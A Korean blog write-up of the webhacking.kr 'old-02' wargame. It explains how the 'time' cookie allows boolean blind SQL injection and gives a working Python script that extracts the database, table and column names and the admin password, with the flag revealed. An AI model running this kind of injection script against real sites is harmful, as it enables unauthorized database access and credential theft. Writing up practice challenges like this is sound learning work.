Web Hacking/Webhacking.kr

[Webhacking.kr] old-02

프레딕 2024. 7. 6. 22:49
728x90

오랜만에 webhacking.kr wrietup이다

 

일단 이 문제는 뭐 딱히 주어진게 없어 공격 벡터 찾기가 힘들었다.

 

이 문제에서 주어진 페이지는 딱 두페이지 뿐이다.

두페이지 모두 특별히 큰 수상한점은 없지만 굳이 찾아본다면 ip is logging하고 날짜가 주석처리로 나온다는 것이다.

처음엔 ip logging으로 접근해서 user agent에 php코드도 넣어보고 했지만 모두 실패했다.

 

날짜는 cookie의 time값을 기준으로 나와주는 것 같은데 time 값 뒤에 and 1=1을 넣었을때와 and 1=2를 넣었을때 날짜값이 달랐다.

1=1
1=2

이를 통해 True일땐 09:00:01, False일땐 09:00:00을 뱉는걸 확인 가능하다.

그렇다면 딱 봐도 blind sql injection이다.

하지만 db구조를 아무것도 모르기 때문에 아래와 같이 db이름, table이름, column이름, pw까지 뽑아오는 payload를 짜주었다.

참고로 length는 걍 노가다 하면서 알아냈기에 length구하는 payload는 생략하겠다.

 

from requests import get

host = "http://webhacking.kr/challenge/web-02"

cookie = {'time' : 170263791}

letters = 'abcdefghijklmnopqrstuvwxyz0123456789!@#$%^&*_=-'
dbname=''
tablename =''

for i in range(1, 6):
    for s in letters:
        cookie = {'time' : f'1720263791 and substr(database(), {i},1)=\'{s}\''}
        r = get(f"{host}", cookies=cookie)
        if "09:00:01" in r.text:
            print(s)
            dbname+=s
            break

print(f'dbname : {dbname}') # chall2

for i in range(1, 14):
    for s in letters:
        cookie = {'time' : f'1720263791 and substr((select table_name from information_schema.tables where TABLE_SCHEMA = "chall2" limit 0,1), {i},1)=\'{s}\''}
        r = get(f"{host}", cookies=cookie)
        if "09:00:01" in r.text:
            print(s)
            tablename+=s
            break

print(f'tablename : {tablename}') # admin_area_pw

column_name =''

for i in range(1, 3):
    for s in letters:
        cookie = {'time' : f'1720263791 and substr((select column_name from information_schema.columns where TABLE_NAME="admin_area_pw"), {i}, 1) = \'{s}\''} 
        r = get(f"{host}", cookies=cookie)
        if "09:00:01" in r.text:
            column_name += s
            print(s)
            break
        
print(f'column_name = {column_name}') # pw

pw =''

for i in range(1, 18):
    for s in letters:
        cookie = {'time' : f'1720263791 and substr((select pw from admin_area_pw), {i}, 1) = \'{s}\''} 
        r = get(f"{host}", cookies=cookie)
        if "09:00:01" in r.text:
            pw += s
            print(s)
            break
        
print(f'pw = {pw}') # kudos_to_beistlab

 

이렇게 알아낸 pw를 admin.php에 넣어주면 풀린다.

 

+ 추가로 letters에 '+'를 넣어봤는데 이걸 띄어쓰기로 인식하는건지 이것도 true로 인식해서 letters맨 마지막에 넣던지 아얘빼던지 하면 될것 같다.

728x90
반응형